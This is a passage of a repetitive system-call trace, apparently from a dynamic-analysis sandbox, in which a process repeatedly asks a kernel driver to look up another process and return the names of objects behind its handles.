ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.556] ObfDereferenceObject (Object=0xfffff8a001f93d20) returned 0x1 [0103.556] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.556] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.556] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.556] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.556] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.556] PsAcquireProcessExitSynchronization () returned 0x0 [0103.556] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.556] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002051790, HandleInformation=0x0) returned 0x0 [0103.556] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.556] PsReleaseProcessExitSynchronization () returned 0x2 [0103.556] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.556] ObQueryNameString (in: Object=0xfffff8a002051790, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.556] ObfDereferenceObject (Object=0xfffff8a002051790) returned 0x1 [0103.556] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.556] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.556] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.556] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.556] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.556] PsAcquireProcessExitSynchronization () returned 0x0 [0103.557] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.557] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002051060, HandleInformation=0x0) returned 0x0 [0103.557] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.557] PsReleaseProcessExitSynchronization () returned 0x2 [0103.557] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.557] ObQueryNameString (in: Object=0xfffff8a002051060, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.557] ObfDereferenceObject (Object=0xfffff8a002051060) returned 0x1 [0103.557] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.557] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.557] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.557] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.557] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.557] PsAcquireProcessExitSynchronization () returned 0x0 [0103.557] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.557] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0020364c0, HandleInformation=0x0) returned 0x0 [0103.557] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.557] PsReleaseProcessExitSynchronization () returned 0x2 [0103.557] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.557] ObQueryNameString (in: Object=0xfffff8a0020364c0, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.557] ObfDereferenceObject (Object=0xfffff8a0020364c0) returned 0x1 [0103.557] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.557] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.557] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.557] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.557] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.557] PsAcquireProcessExitSynchronization () returned 0x0 [0103.557] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.557] ObReferenceObjectByHandle (in: Handle=0x540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001fcdcd0, HandleInformation=0x0) returned 0x0 [0103.557] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.557] PsReleaseProcessExitSynchronization () returned 0x2 [0103.557] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.558] ObQueryNameString (in: Object=0xfffff8a001fcdcd0, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.558] ObfDereferenceObject (Object=0xfffff8a001fcdcd0) returned 0x1 [0103.558] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.558] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.558] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.558] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.558] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.558] PsAcquireProcessExitSynchronization () returned 0x0 [0103.558] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.558] ObReferenceObjectByHandle (in: Handle=0x550, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00205a450, HandleInformation=0x0) returned 0x0 [0103.558] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.558] PsReleaseProcessExitSynchronization () returned 0x2 [0103.558] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.558] ObQueryNameString (in: Object=0xfffff8a00205a450, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.558] ObfDereferenceObject (Object=0xfffff8a00205a450) returned 0x1 [0103.558] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.558] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.558] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.558] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.558] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.558] PsAcquireProcessExitSynchronization () returned 0x0 [0103.558] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.558] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0020737a0, HandleInformation=0x0) returned 0x0 [0103.558] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.558] PsReleaseProcessExitSynchronization () returned 0x2 [0103.558] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.558] ObQueryNameString (in: Object=0xfffff8a0020737a0, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.558] ObfDereferenceObject (Object=0xfffff8a0020737a0) returned 0x1 [0103.558] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.559] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.559] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.559] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.559] PsAcquireProcessExitSynchronization () returned 0x0 [0103.559] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.559] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001fdcca0, HandleInformation=0x0) returned 0x0 [0103.559] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.559] PsReleaseProcessExitSynchronization () returned 0x2 [0103.559] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.559] ObQueryNameString (in: Object=0xfffff8a001fdcca0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.559] ObfDereferenceObject (Object=0xfffff8a001fdcca0) returned 0x1 [0103.559] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.559] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.559] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.559] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.559] PsAcquireProcessExitSynchronization () returned 0x0 [0103.559] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.559] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001fe2c00, HandleInformation=0x0) returned 0x0 [0103.559] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.559] PsReleaseProcessExitSynchronization () returned 0x2 [0103.559] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.559] ObQueryNameString (in: Object=0xfffff8a001fe2c00, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.559] ObfDereferenceObject (Object=0xfffff8a001fe2c00) returned 0x1 [0103.559] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.559] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.559] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.559] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.559] PsAcquireProcessExitSynchronization () returned 0x0 [0103.560] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.560] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00206a060, HandleInformation=0x0) returned 0x0 [0103.560] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.560] PsReleaseProcessExitSynchronization () returned 0x2 [0103.560] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.560] ObQueryNameString (in: Object=0xfffff8a00206a060, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.560] ObfDereferenceObject (Object=0xfffff8a00206a060) returned 0x1 [0103.560] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.560] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.560] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.560] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.560] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.560] PsAcquireProcessExitSynchronization () returned 0x0 [0103.560] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.560] ObReferenceObjectByHandle (in: Handle=0x59c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002069520, HandleInformation=0x0) returned 0x0 [0103.560] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.560] PsReleaseProcessExitSynchronization () returned 0x2 [0103.560] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.560] ObQueryNameString (in: Object=0xfffff8a002069520, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.560] ObfDereferenceObject (Object=0xfffff8a002069520) returned 0x1 [0103.560] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.560] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.560] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.560] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.560] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.560] PsAcquireProcessExitSynchronization () returned 0x0 [0103.560] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.560] ObReferenceObjectByHandle (in: Handle=0x5ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002070490, HandleInformation=0x0) returned 0x0 [0103.560] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.560] PsReleaseProcessExitSynchronization () returned 0x2 [0103.560] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.560] ObQueryNameString (in: Object=0xfffff8a002070490, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.561] ObfDereferenceObject (Object=0xfffff8a002070490) returned 0x1 [0103.561] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.561] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.561] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.561] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.561] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.561] PsAcquireProcessExitSynchronization () returned 0x0 [0103.561] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.561] ObReferenceObjectByHandle (in: Handle=0x5bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002061800, HandleInformation=0x0) returned 0x0 [0103.561] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.561] PsReleaseProcessExitSynchronization () returned 0x2 [0103.561] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.561] ObQueryNameString (in: Object=0xfffff8a002061800, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.561] ObfDereferenceObject (Object=0xfffff8a002061800) returned 0x1 [0103.561] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.561] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.561] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.561] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.561] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.561] PsAcquireProcessExitSynchronization () returned 0x0 [0103.561] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.561] ObReferenceObjectByHandle (in: Handle=0x5cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002069140, HandleInformation=0x0) returned 0x0 [0103.561] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.561] PsReleaseProcessExitSynchronization () returned 0x2 [0103.561] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.561] ObQueryNameString (in: Object=0xfffff8a002069140, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.561] ObfDereferenceObject (Object=0xfffff8a002069140) returned 0x1 [0103.562] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.562] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.562] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.562] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.562] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.562] PsAcquireProcessExitSynchronization () returned 0x0 [0103.562] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.562] ObReferenceObjectByHandle (in: Handle=0x5dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0020493d0, HandleInformation=0x0) returned 0x0 [0103.562] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.562] PsReleaseProcessExitSynchronization () returned 0x2 [0103.562] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.562] ObQueryNameString (in: Object=0xfffff8a0020493d0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.562] ObfDereferenceObject (Object=0xfffff8a0020493d0) returned 0x1 [0103.562] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.562] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.562] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.562] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.562] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.562] PsAcquireProcessExitSynchronization () returned 0x0 [0103.562] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.562] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00208cd00, HandleInformation=0x0) returned 0x0 [0103.562] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.562] PsReleaseProcessExitSynchronization () returned 0x2 [0103.562] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.562] ObQueryNameString (in: Object=0xfffff8a00208cd00, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.562] ObfDereferenceObject (Object=0xfffff8a00208cd00) returned 0x1 [0103.562] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.562] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.562] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.562] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, 